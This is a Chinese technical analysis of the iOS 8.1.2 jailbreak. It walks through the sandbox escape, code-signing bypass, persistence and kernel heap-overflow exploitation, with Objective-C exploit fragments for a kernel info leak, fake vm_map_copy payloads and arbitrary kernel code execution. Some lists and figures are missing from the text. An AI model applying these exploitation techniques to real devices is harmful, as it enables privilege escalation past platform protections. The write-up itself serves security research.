Author:[email protected]
本文主要介紹了:
希望通過這篇文章讓大家了解越獄的過程,越獄需要的漏洞類型以及一些利用技巧,具體內容如下。
要說明什么是越獄,我們首先來看下越獄后可以做哪些原來做不了的事情:
如上的列表給出了越獄后才可以在 iDevice 做的事情,如果單從表象上去羅列,這個列表可以很長,下面我們從技術方面來做下歸納,具體看看破壞了 iOS 系統的哪些保護機制才可以做到上面的事情:
因此,越獄中“獄”只要指 iOS 的如上三條保護機制,越獄是指破壞這些保護機制。
越獄的過程實際上就是攻擊 iOS 系統的過程,在發起攻擊之前我們首先需要確定攻擊的目標,當然從大的方面來說目標就是 iOS 系統,但是這個目標太大了不足以引導攻擊過程,我們需要更確切的目標。如何確定確切的攻擊目標?我們只要找到系統的哪些部分負責相關的保護機制便可以確定最終的攻擊目標,下面是個人總結的攻擊目標:
當然在攻擊最終的目標之前,我們還會遇到一些阻礙(系統有多道防線),這些阻礙可以作為階段目標,不同的攻擊路徑所遇到的階段目標也不同,但是通過 USB 發起的攻擊首先需要突破沙盒,因此沙盒也是一個重要的目標。
如上是個人對越獄的理解,下面會以 iOS 8.1.2 的越獄為例來詳細描述下攻擊過程,所使用的漏洞,以及漏洞的利用方法。
對于通過 USB 發起的攻擊首先要解決的一個問題是如何突破沙盒。這里的沙盒不單單指由 Sandbox.kext 約束的進程行為,而是廣義上的概念,比如可以將整個 iOS 理解為一個沙盒。默認沙盒只是開啟了如下幾個服務:
圖1 :沙盒開啟的服務
iOS 8.1.2 的越獄工具利用 Mobile Backup 的漏洞(CVE-2015-1087) 與 AFC 的漏洞(CVE-2014-448)來過沙盒,然后利用 Image Mounter 的漏洞(CVE-2015-1062)來為用戶空間的任意代碼執行創造條件。如果想在用戶空間執行任意代碼,需要解決代碼簽名驗證問題,越獄工具利用 dyld 的漏洞(CVE-2014-4455)解決了讓 afmid 加載假的 libmiss.dylib 的問題,從而過掉了代碼簽名。這樣用戶空間任意代碼執行的條件都具備了,接下來越獄工具通過一個輔助工具(root權限)來執行 Untecher,Untether 的主要工作內容是首先重新 mount 磁盤的只讀分區到可寫狀態,然后將 /var/mobile/Media 中的 Payload 拷貝到系統的相關目錄。接下來 Untether 行為主要是攻擊內核,這里主要有兩種方式:
方式一:
首先利用內核漏洞(CVE-2014-4491)得到內核的起始地址,KASLR 的 Slide,然后結合內核漏洞(CVE-2014-4496)和 IOHIDFamily 的漏洞(CVE-2014-4487)來制造內核空間任意代碼執行、內核寫,接下來利用 Kernel Patch Finder 找到如上提到的保護機制的代碼點以及一些 ROP Gadgets,構造 ROP Chain 來 Patch 內核。
方式二:
首先利用內核漏洞(CVE-2014-4496)得到 KASLR 的 Slide,然后利用 IOHIDFamily 的漏洞(CVE-2014-4487) 構造一個內核任意大小讀的利用,讀取某個已知對象的虛函數表,進而計算出內核加載的基地址,接下來與方式一相同。相當于方式二可以少利用一個漏洞。
如上是對整個越獄過程的大概描述,為的是讓大家有一個大致的印象,接下來會介紹詳細的越獄攻擊過程。
相關漏洞
CVE-2014-4480
#!bash
AppleFileConduit – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A maliciously crafted afc command may allow access to protected parts of the filesystem
Description: A vulnerability existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks.
CVE-ID
CVE-2014-4480 : TaiG Jailbreak Team
表1:CVE-2014-4480
CVE-2015-1087
#!bash
Backup – Fixed in iOS 8.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: An attacker may be able to use the backup system to access restricted areas of the file system
Description: An issue existed in the relative path evaluation logic of the backup system. This issues was addressed through improved path evaluation.
CVE-ID
CVE-2015-1087 : TaiG Jailbreak Team
表2:CVE-2015-1087
準備目錄結構
利用 AFC 服務創建目錄、文件、軟鏈接:
創建目錄:
#!bash
PublicStaging/cache/mmap
__proteas_ex__/a/b/c
__proteas_ex__/var/mobile/Media/PublicStaging/cache
__proteas_mx__/a/b/c/d/e/f/g
__proteas_mx__/private/var
創建空文件:
#!bash
__proteas_ex__/var/mobile/Media/PublicStaging/cache/mmap
__proteas_mx__/private/var/run
創建軟鏈接:
#!bash
__proteas_ex__/a/b/c/c -> ../../../var/mobile/Media/PublicStaging/cache/mmap
__proteas_mx__/a/b/c/d/e/f/g/c -> ../../../../../../../private/var/run
表3:目錄結構
圖2:創建目錄的日志
這里利用的是 CVE-2014-4480,在修補后的設備上,比如:iOS 8.3 上,創建如上的目錄的結構 AFC 會報錯:
#!bash
afcd[395] <Error>:
AFCFileLine="1540"
AFCFileName="server.c"
AFCCode="-402636793"
NSDescription="Request path cannot contain dots :
../../../var/mobile/Media/PublicStaging/cache/mmap"
AFCVersion="232.5"
表4:AFC 報錯信息
觸發備份恢復
我們先看下觸發備份恢復的結果:
#!bash
iPhone5s:~ root# ls -al /var/run/mobile_image_mounter
lrwxr-xr-x 1 mobile mobile 50 Jun 26 17:29
/var/run/mobile_image_mounter -> ../../../var/mobile/Media/PublicStaging/cache/mmap
表5:備份恢復的結果
在 mount DDI 時會生成一些臨時目錄,利用備份恢復的漏洞,這個臨時目錄被暴露到 Media 的子目錄中,從而為利用 DDI 的漏洞創造條件。
#!bash
1848 BackupAgent Chowned /private/var/.backup.i/var/Keychains
1848 BackupAgent Created dir /private/var/.backup.i/var/Managed Preferences
1848 BackupAgent Created dir /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent Chowned /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent Created dir /private/var/.backup.i/var/MobileDevice
1848 BackupAgent Created dir /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent Chowned /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media
1848 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media/PhotoData
1848 BackupAgent Renamed /private/var/mobile/Media/__proteas_mx__/a/b/c/d/e/f/g/c /private/var/.backup.i/var/mobile/Media/PhotoData/c
1848 BackupAgent Chowned /private/var/run
1848 BackupAgent Chowned /private/var/run
1848 Renamed /private/var/mobile/Media/__proteas_ex__/a/b/c/c /private/var/run/mobile_image_mounter
1848 Chowned /private/var/mobile/Media/PublicStaging/cache/mmap
表6:備份恢復的日志
關于 CVE-2015-1087 蘋果的說明非常簡單,但是寫出 PoC 后發現還是相對比較麻煩的,編寫利用時需要注意:
mobilebackup_client_new
,以便控制版本號交換,否則無法啟動 BackupAgent。mobilebackup_send
發送 PList,使用mobilebackup_receive
接收響應,并判斷是否執行成功。 為了方便大家調試,給出一個打印 plist 內容的函數:
#!cpp
//-- Debug
void debug_plist(plist_t plist)
{
if (!plist) {
printf("[-] debug_plist: plist handle is NULL\n");
return;
}
char *buffer = NULL;
uint32_t length = 0;
plist_to_xml(plist, &buffer, &length);
if (length == 0) {
printf("[-] debug_plist: length is zero\n");
return;
}
char *cstr = (char *)malloc(length + 1);
memset(cstr, 0, length + 1);
memcpy(cstr, buffer, length);
printf("[+] DEBUG PLIST:\n");
printf("--------------------------------------------\n");
printf("%s\n", cstr);
printf("--------------------------------------------\n");
free(buffer);
free(cstr);
}
表7:代碼 debug plist
當前進程
至此,通過對上面兩個漏洞的利用,把 Image Mounter 在 mount dmg 時的臨時目錄暴露到了 /var/mobile/Media/PublicStaging/cache/mmap,為下一步利用 DDI 的漏洞做好了準備。
相關漏洞
CVE-2015-1062
#!bash
MobileStorageMounter – Fixed in iOS 8.2
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to create folders in trusted locations in the file system
Description: An issue existed in the developer disk mounting logic which resulted in invalid disk image folders not being deleted. This was addressed through improved error handling.
CVE-ID
CVE-2015-1062 : TaiG Jailbreak Team
表8:CVE-2015-1062
Payload 說明
Payload 有兩個,即兩個 dmg 文件。
第一個 dmg 有三個分區:
具體內容如下:
├── Developer-Caches
│ └── com.apple.dyld
│ └── enable-dylibs-to-override-cache
├── Developer-Lib
│ ├── FDRSealingMap.plist
│ ├── StandardDMCFiles
│ │ ├── N51_Audio.dmc
│ │ ├── N51_Coex.dmc
│ │ ├── N51_Default.dmc
│ │ ├── N51_Flower.dmc
│ │ ├── N51_FullPacket.dmc
│ │ ├── N51_GPS.dmc
│ │ ├── N51_Powerlog.dmc
│ │ ├── N51_SUPL.dmc
│ │ ├── N51_Sleep.dmc
│ │ └── N51_Tput.dmc
│ ├── dyld
│ ├── libDHCPServer.dylib -> libDHCPServer.A.dylib
│ ├── libMatch.dylib -> libMatch.1.dylib
│ ├── libexslt.dylib -> libexslt.0.dylib
│ ├── libmis.dylib
│ ├── libsandbox.dylib -> libsandbox.1.dylib
│ ├── libstdc++.dylib -> libstdc++.6.dylib
│ ├── system
│ │ └── introspection
│ │ └── libdispatch.dylib
│ └── xpc
│ └── support.bundle
│ ├── Info.plist
│ ├── ResourceRules.plist
│ ├── _CodeSignature
│ │ └── CodeResources
│ └── support
└── DeveloperDiskImage
10 directories, 24 files
表9:contents of 1st dmg
第一個 dmg 中有兩個文件比較重要需要說明下:
第二個 dmg 的內容如下,主要是越獄相關的內容:
├── Library
│ └── Lockdown
│ └── ServiceAgents
│ ├── com.apple.load_amfi.plist
│ ├── com.apple.mount_cache_1.plist
│ ├── com.apple.mount_cache_2.plist
│ ├── com.apple.mount_cache_3.plist
│ ├── com.apple.mount_cache_4.plist
│ ├── com.apple.mount_cache_5.plist
│ ├── com.apple.mount_cache_6.plist
│ ├── com.apple.mount_cache_7.plist
│ ├── com.apple.mount_cache_8.plist
│ ├── com.apple.mount_lib_1.plist
│ ├── com.apple.mount_lib_2.plist
│ ├── com.apple.mount_lib_3.plist
│ ├── com.apple.mount_lib_4.plist
│ ├── com.apple.mount_lib_5.plist
│ ├── com.apple.mount_lib_6.plist
│ ├── com.apple.mount_lib_7.plist
│ ├── com.apple.mount_lib_8.plist
│ ├── com.apple.ppinstall.plist
│ ├── com.apple.remove_amfi.plist
│ ├── com.apple.umount_cache.plist
│ └── com.apple.umount_lib.plist
├── bin
│ └── ppunmount
├── pploader
└── pploader.idb
4 directories, 24 files
這個 dmg 會被 mount 到 /Developer,這其中的內容會被系統統一考慮,具體來說就是:假設 /Developer/bin 中的程序默認在系統的查找路徑中。
漏洞解析
蘋果對這個漏洞的描述相對比較簡單,網絡上對這個問題的描述是可以利用竟態條件替換 dmg,竟態條件是主要問題,但是竟態條件問題蘋果根本沒有 Fix,也很難修復。但是 DDI 還存在另外一個問題,下面我們一起看下。
觸發漏洞之前,/dev 中的內容:
#!bash
brw-r—– 1 root operator 1, 0 Jun 26 19:07 /dev/disk0
brw-r—– 1 root operator 1, 1 Jun 26 19:07 /dev/disk0s1
brw-r—– 1 root operator 1, 3 Jun 26 19:07 /dev/disk0s1s1
brw-r—– 1 root operator 1, 2 Jun 26 19:07 /dev/disk0s1s2
brw-r—– 1 root operator 1, 4 Jun 26 19:07 /dev/disk1
brw-r—– 1 root operator 1, 5 Jun 26 19:07 /dev/disk2
brw-r—– 1 root operator 1, 6 Jun 26 19:07 /dev/disk3
brw-r—– 1 root operator 1, 7 Jun 26 19:07 /dev/disk4
brw-r—– 1 root operator 1, 8 Jun 26 19:08 /dev/disk5
表11:mount dmg 前
觸發漏洞之后,/dev 中的內容:
#!bash
brw-r—– 1 root operator 1, 0 Jun 26 19:22 /dev/disk0
brw-r—– 1 root operator 1, 1 Jun 26 19:22 /dev/disk0s1
brw-r—– 1 root operator 1, 2 Jun 26 19:22 /dev/disk0s1s1
brw-r—– 1 root operator 1, 3 Jun 26 19:22 /dev/disk0s1s2
brw-r—– 1 root operator 1, 4 Jun 26 19:22 /dev/disk1
brw-r—– 1 root operator 1, 5 Jun 26 19:22 /dev/disk2
brw-r—– 1 root operator 1, 6 Jun 26 19:22 /dev/disk3
brw-r—– 1 root operator 1, 7 Jun 26 19:22 /dev/disk4
brw-r—– 1 root operator 1, 8 Jun 26 19:23 /dev/disk5
brw-r—– 1 root operator 1, 9 Jun 26 19:26 /dev/disk6
brw-r—– 1 root operator 1, 10 Jun 26 19:26 /dev/disk6s1
brw-r—– 1 root operator 1, 11 Jun 26 19:26 /dev/disk6s2
brw-r—– 1 root operator 1, 12 Jun 26 19:26 /dev/disk6s3
表12:mount dmg 后
上面是利用竟態條件 mount 第一個 dmg 之前與之后的結果,上面已經提到第一個 dmg 的 DeveloperDiskImage 分區是空的,不存在內容替換問題。
從上面的對比可以看到 MobileStorageMounter 還存在另外一個問題就是:在 mount 非法的 dmg 時,即使 mount 失敗,相應的分區還在設備目錄中存在,在越獄過程中這些 disk 會被掛載:
觸發竟態條件
在觸發竟態條件做 dmg 替換前,需要找到 dmg 的臨時目錄,下面會說明 dmg 臨時目錄的構造規則。
先看真實的路徑,然后再說明構造方法:
/var/run/mobile_image_mounter/
6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b
1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/
909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39
f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/
表13:mount dmg 生成的臨時目錄
如上表,藍色是路徑的第一部分,綠色是路徑的第二部分(注:代碼第2、3行為藍色,4、5行為綠色),下面看下 dmg 對應的簽名文件內容:
圖3:DeveloperDiskImage.dmg.signature
對比之后可以看到臨時路徑的生成規則是:將簽名文件的內容轉換為十六進制字符串,然后將前64個字節作為路徑的第一部分,將后64個字節作為路徑的第二部分,之后在拼接上一個隨機生成文件名的 dmg 文件,如:1Nm843.dmg。
在找到 dmg 文件后,觸發竟態條件就相對容易些,具體方法為:首先檢查 DDI 是否已經 mount 了(開發設備很可能已經 mount 了),如果已經 mount 了,重啟設備。如果沒有 mount,首先加載真實的 DDI 與簽名,然后創建臨時目錄,上傳假的 DDI,再調用相關服務mount 真實的 DDI,緊接著用假的 DDI 去替換上面提到的臨時文件(1Nm843.dmg)。
利用結果
完成利用 DDI 的漏洞后,第一個 dmg 的分區在設備上保留,第二個 dmg 的內容被掛載到 /Developer:
#!bash
/Developer/Library
/Developer/bin
/Developer/pploader
/Developer/Library/Lockdown
/Developer/Library/Lockdown/ServiceAgents
/Developer/Library/Lockdown/ServiceAgents/com.apple.load_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.ppinstall.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.remove_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_cache.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_lib.plist
/Developer/bin/ppunmount
表14:設備上 /Developer 目錄的內容
完成對 DDI 的利用后,相當于我們向系統又添加了一些服務,這些服務如果使用的是系統本身的程序則可以直接調用,如果使用的是自己的程序則首先需要過掉代碼簽名。
圖4:com.apple.remove_amfi.plist
圖5:com.apple.ppinstall.plist
至此,只要我們再過掉代碼簽名便可以在用戶空間已 root 權限執行任意代碼了,下面看下代碼簽名。
相關漏洞
CVE-2014-4455
#!bash
dyld – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A local user may be able to execute unsigned code
Description: A state management issue existed in the handling of Mach-O executable files with overlapping segments. This issue was addressed through improved validation of segment sizes.
CVE-ID
CVE-2014-4455 : TaiG Jailbreak Team
表15:CVE-2014-4455
這里過代碼簽名所使用的技術手段與之前的越獄工具相同,只是利用的漏洞不同,還是利用 dylib 函數重導出技術,利用了 dylib 重導出技術后,libmiss.dylib 變成了一個純數據的 dylib,在執行期間發生缺頁異常時也就不會觸發內核對內存頁的代碼簽名驗證,這點比較重要,因為這里的過代碼簽名技術不是通用的,只能針對純數據的 dylib。
相信大家都看過代碼簽名相關的文檔與資料,比如: Stefan Esser 的《death of the vmsize=0 dyld trick》,大多都會介紹利用 MachO 的 Segment 重疊技術來過代碼簽名,這里不再對這種技術做詳細的說明。但是會解析另外一個問題:既然是一個純數據的 dylib,本身也沒有代碼為何還要費勁得去過代碼簽名?因為 loader 要求 MachO 文件必須有一個代碼段,即使本身不需要。
由于 iOS 8 之后 AMFI 中增加了另外一個安全機制,即:Library Validation,這個安全機制主要用來對抗代碼注入式的攻擊,盤古在 《Userland Exploits of Pangu 8》中對 LV (Library Validation)有介紹,下圖是逆向分析得到的 LV 的流程圖,供大家參考:
圖6:庫驗證的流程圖
因此,這里 libmiss.dylib 也利用移植代碼簽名的技術手段來過 LV,這里給大家一個移植代碼簽名的思路:
在對 libmiss.dylib 做 malformed 之前,先用 codesign_allocate 為 dylib 申請簽名空間,為第一步中的大小:
#!bash
man codesign_allocate
codesign_allocate -i libmis.dylib -a arm64 128 -o libmis2.dylib
對 libmiss.dylib 做 malformed。
利用二進制編輯工具修改 libmiss.dylib,將預留的簽名數據空間替換為第一步導出的簽名數據。
至此,我們已經制作了 malformed libmiss.dylib,只要 afmid 加載了這個 dylib 相當于就過掉了代碼簽名。下面一起看下越獄工具以什么樣的順序執行 /Developer/Library/Lockdown/ServiceAgents 中的服務:
至此,用戶空間的攻擊基本結束了,下面會介紹了持久化的方法,之后會介紹針對內核的攻擊。
所謂完美越獄是指設備重啟后可以自動運行 untecher,這樣就需要把 untether 做成開機自動啟動的服務。我們知道系統的自啟動服務存放在 /System/Library/LaunchDaemons/ 中,每個服務都是使用 plist 來配置,但是大概是從 iOS 7 之后自啟動服務的 plist 還需要嵌入到 libxpc.dylib 中,蘋果是想用代碼簽名技術保護防止惡意程序修改自啟動服務。
因此,如果想讓 untether 開機自啟動我們還需要將相關的 plist 嵌入到 libxpc.dylib 中,由于 libxpc.dylib 會被修改,從而破壞了其原本的代碼簽名,因此也需要使用與構造 libmiss.dylib 相同的技術來過代碼簽名,過庫驗證。
下面介紹下系統是如何從 libxpc.dylib 中讀取 plist 數據的:
__xpcd_cache
。__xpcd_cache
符號的地址。__xpcd_cache
的Section的數據。在測試的過程中編寫了一個打印 libxpc.dylib 中 plist 信息的工具,大家可以從 github 下載,在設備上使用:
https://github.com/Proteas/xpcd_cache_printer
之所以在這里介紹持久化,是因為持久化是完美越獄的重要組成部分,但是又不屬于內核漏洞。介紹來會介紹內核相關的漏洞與利用。
相關漏洞
CVE-2014-4491
#!bash
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: An information disclosure issue existed in the handling of APIs related to kernel extensions. Responses containing an OSBundleMachOHeaders key may have included kernel addresses, which may aid in bypassing address space layout randomization protection. This issue was addressed by unsliding the addresses before returning them.
CVE-ID
CVE-2014-4491 : @PanguTeam, Stefan Esser
表17:CVE-2014-4491
CVE-2014-4496
#!bash
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: The mach_port_kobject kernel interface leaked kernel addresses and heap permutation value, which may aid in bypassing address space layout randomization protection. This was addressed by disabling the mach_port_kobject interface in production configurations.
CVE-ID
CVE-2014-4496 : TaiG Jailbreak Team
表18:CVE-2014-4496
利用方法
CVE-2014-4491,邏輯漏洞,不需要什么利用技巧,利用如下的代碼,可以獲取到內核信息:
#!objc
- (NSData *)getKextInfoData
{
vm_offset_t request = "<dict><key>Kext Request Predicate</key><string>Get Loaded Kext Info</string></dict>";
mach_msg_type_number_t requestLength = (unsigned int)strlen(request) + 1;
vm_offset_t response = NULL;
mach_msg_type_number_t responseLength = 0;
vm_offset_t log = NULL;
mach_msg_type_number_t logLength = 0;
kern_return_t opResult = KERN_SUCCESS;
kext_request(mach_host_self(),
0,
request,
requestLength,
&response,
&responseLength,
&log,
&logLength,
&opResult);
if (opResult != KERN_SUCCESS) {
printf("[-] getKextInfoString: fail to request kernel info\n");
return NULL;
}
NSData *responseData = [[NSData alloc] initWithBytes:response length:responseLength];
return [responseData autorelease];
}
表19:CVE-2014-4491 的利用
具體信息如下圖:
圖7:內核信息
得到內核信息后,解析 xml 數據,得到 OSBundleMachOHeaders 鍵對應 Base64 字符串,之后解碼字符串可以得到一個 MachO:
圖8:MachO Header
然后解析這個 MachO 頭從中得到__TEXT Segment
的開始地址,得到__PRELINK_STATE
的開始地址,然后從__PRELINK_STATE
的開始地址中計算出內核的開始地址,用內核的開始地址減去__TEXT
的開始地址就是 KASLR 的 Slide。__PRELINK_INFO Segment
的結束地址就是內核的結束地址。這樣我們就得到了內核的起始地址、結束地址、KASLR 的 Slide。這些信息主要有兩方面的應用:Patch 內核相關的工作需要內核的真實地址;在內核堆利用過程中也需要知道KASLR 的 Slide 從而得到堆對象的真實地址。
CVE-2014-4496,邏輯漏洞,Stefan Esser 對這個漏洞做了詳細的描述:
mach_port_kobject()
and the kernel address obfuscation
大家可以仔細閱讀下,這里補充下具體怎么獲得那個常量對象:
#!objc
io_master_t io_master = 0;
kret = host_get_io_master(mach_host_self(), &io_master);
表20:創建常量對象
至此內核信息泄露相關的漏洞已經介紹完畢,這些都是內核讀與內核代碼執行的準備工作。
相關漏洞
CVE-2014-4487
#!bash
IOHIDFamily – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A buffer overflow existed in IOHIDFamily. This issue was addressed through improved size validation.
CVE-ID
CVE-2014-4487 : TaiG Jailbreak Team
表21:CVE-2014-4487
盤古團隊專門有篇文章介紹了這個漏洞產生的原因以及利用思路,大家可以仔細讀下:
CVE-2014-4487 – IOHIDLibUserClient堆溢出漏洞
利用思路:將一個小 zone 中的內存塊釋放到大的 zone 中,結合堆風水,釋放后立即申請剛剛釋放的內存塊,便可以覆蓋相鄰的小內核塊。
利用思路示意圖
利用思路:將一個小 zone 中的內存塊釋放到大的 zone 中,結合堆風水,釋放后立即申請剛剛釋放的內存塊,便可以覆蓋相鄰的小內核塊。
圖9:堆溢出利用過程
內核讀
內核讀主要利用的 mach_msg 的 ool descriptor,具體過程如下:
向當前 Mach Task(untether)發送 mach 消息,消息帶有 8 個 ool descriptor,每個 ool descriptor 的大小為:256 – sizeof(fake_vm_map_copy_64)
。
#!objc
typedef struct fake_vm_map_copy_64_ {
uint32_t type;
uint64_t offset;
uint64_t size;
union {
struct {
uint8_t something[64];
};
uint64_t object;
struct {
uint64_t kdata;
uint64_t kalloc_size;
};
};
} fake_vm_map_copy_64;
表22:關鍵數據結構:fake_vm_map_copy_64
這樣剛剛釋放的內存塊,就會被申請到。
釋放堆風水中后面 3 個內存塊。
觸發漏洞,第 6 個內存塊會被添加到 zone-1024 中。
再次向自己發消息,ool descriptor 的大小為: 960 – sizeof(fake_vm_map_copy_64)
,因為系統會從 zone-1024 中分配 960 大小的內存塊,這樣我們只要控制 960 內存塊的內容就可以控制溢出。
控制溢出:
#!objc
- (void)constructPayload:(uint8_t *)buffer
kobjectAddress:(mach_vm_address_t)kobject_address
readAddress:(mach_vm_address_t)address
_readSize:(mach_vm_size_t)size
{
// 0xA8 = 168(payload) = 256 - sizeof(fake_vm_map_copy_64)
if (size < 0xA8) {
size = 0xA8;
}
// 0x368 = 872 = 960 - 88
// 0x0A8, 0x1A8, 0x2A8, 0x3A8
// 0x3A8 - 0x368 = 0x40 = 64
fake_vm_map_copy_64 *vm_copy_struct_ptr = (fake_vm_map_copy_64 *)(buffer + 0xA8);
for (int idx = 0; idx < 3; ++idx) {
memset(vm_copy_struct_ptr, 0, sizeof(fake_vm_map_copy_64));
if (idx == 0) {
vm_copy_struct_ptr->type = 0x3;
vm_copy_struct_ptr->size = size;
vm_copy_struct_ptr->kdata = address;
vm_copy_struct_ptr->kalloc_size = 0x100;
}
else {
vm_copy_struct_ptr->type = 0x3;
vm_copy_struct_ptr->size = 0xA8; // 0xA8 = 256 - 0x58 = 168 = ool memory size
vm_copy_struct_ptr->kdata = kobject_address;
vm_copy_struct_ptr->kalloc_size = 0x100;
}
vm_copy_struct_ptr = (mach_vm_address_t)vm_copy_struct_ptr + 0x100;
}
}
表23:控制溢出
直接接收消息,內核數據就被讀到了用戶空間。
下面這個代碼片段(來源于網絡)可以打印讀到的內容,方便調試內核讀:
#!cpp
void HexDump(char *description, void *addr, int len)
{
int idx;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;
// Output description if given.
if (description != NULL)
printf ("%s:\n", description);
// Process every byte in the data.
for (idx = 0; idx < len; idx++) {
// Multiple of 16 means new line (with line offset).
if ((idx % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (idx != 0)
printf (" | %s\n", buff);
// Output the offset.
printf (" %04X:", idx);
}
// Now the hex code for the specific character.
printf (" %02X", pc[idx]);
// And store a printable ASCII character for later.
if ((pc[idx] < 0x20) || (pc[idx] > 0x7e))
buff[idx % 16] = '.';
else
buff[idx % 16] = pc[idx];
buff[(idx % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((idx % 16) != 0) {
printf (" ");
idx++;
}
// And print the final ASCII bit.
printf (" | %s\n", buff);
}
表24:打印內存內容
內核信息泄露
內核信息泄露是在內核讀基礎之上實現的,利用過程如下:
最后,利用函數指針計算出內核的起始地址。這種方式沒辦法得到內核的結束地址,但是不影響越獄。
#!objc
- (mach_vm_address_t)getKernelBaseAddresses:
(mach_vm_address_t)hid_event_obj_kaddress
{
// HID Event Object Memory Content
unsigned char *hid_event_obj_content =
[self readKernelMemoryAtAddress:hid_event_obj_kaddress + 0x1 size:0x100];
unsigned long long *hid_event_service_queue_obj_ptr =
(unsigned long long *)(hid_event_obj_content + 0xE0);
// HID Event Service Queue Memory Content
unsigned char *hid_event_service_queue_obj_content =
[self readKernelMemoryAtAddress:*hid_event_service_queue_obj_ptr size:0x80];
unsigned long long *hid_event_service_queue_vtable_ptr_0x10 =
(unsigned long long *)(hid_event_service_queue_obj_content);
unsigned char *hid_event_service_queue_vtable_content_0x10 =
[self readKernelMemoryAtAddress:*hid_event_service_queue_vtable_ptr_0x10 size:0x18];
unsigned long long *fifth_function_ptr_of_vtable =
(unsigned long long *)(hid_event_service_queue_vtable_content_0x10 + 0x10);
mach_vm_address_t kernel_base =
((*fifth_function_ptr_of_vtable - (0x200 << 12)) & 0xffffff80ffe00000) + 0x2000;
return kernel_base;
}
表25:計算內核基地址
內核任意代碼執行
內核任意代碼執行與內核讀的利用思路相同,只是細節上有些差別,利用過程為:
調用 Hacked 的對象的方法,比如:釋放,這樣就控制了 PC 指針。
#!objc
- (void)arbitraryExecutationDemo
{
mach_port_name_t port_960 = 0;
[self prepareReceivePort1:NULL port2:&port_960];
io_connect_t fengshuiObjBuf[PRTS_ContinuousMemoryCount] = {0};
mach_vm_address_t firstObjectKAddr = NULL;
mach_vm_address_t lastObjectKAddr = NULL;
[self allocObjects:fengshuiObjBuf
firstObjectKAddr:&firstObjectKAddr
lastObjectKAddr:&lastObjectKAddr];
_fengshui_not_released_obj_count = PRTS_FengshuiObjectCountKeep;
uint8_t ool_buf_960[0x400] = {0};
[self constructArbitraryExePayload:ool_buf_960
vtableAddress:_fake_port_kernel_address_base];
[self doFengshuiRelease2:fengshuiObjBuf];
[self waitFengshuiService];
[self triggerExploit];
[self allocVMCopy:port_960
size:960
buffer:ool_buf_960
descriptorCount:2];
[self releaseResource];
io_connect_t hacked_connection =
fengshuiObjBuf[PRTS_ContinuousMemoryCount - _fengshui_not_released_obj_count - 1];
printf("[+] start to trigger arbitrary executation, device will reboot\n");
IOServiceClose(hacked_connection);
[self waitFengshuiService];
printf("[+] success to trigger arbitrary executation, device will reboot\n");
}
表26:觸發任意代碼執行
圖10:改寫虛函數表的結果示例
在完成內核任意代碼執行后,就可以進一步實現了內核寫,思路是:制造執行 memcpy 的 ROP Chain。
上面只是描述了如何利用漏洞,越獄工具還需要實現 Kernel Patch Finder,用來尋找 ROP Gadgets,然后構造出 ROP Chain,Patch 掉內核的相關安全機制。
越獄工具進行的修復、清理操作主要包括:
上面介紹了越獄的過程,越獄所使用的漏洞,以及漏洞的利用思路,希望對大家有幫助。最后,還有幾點需要說明下:
2015-06-25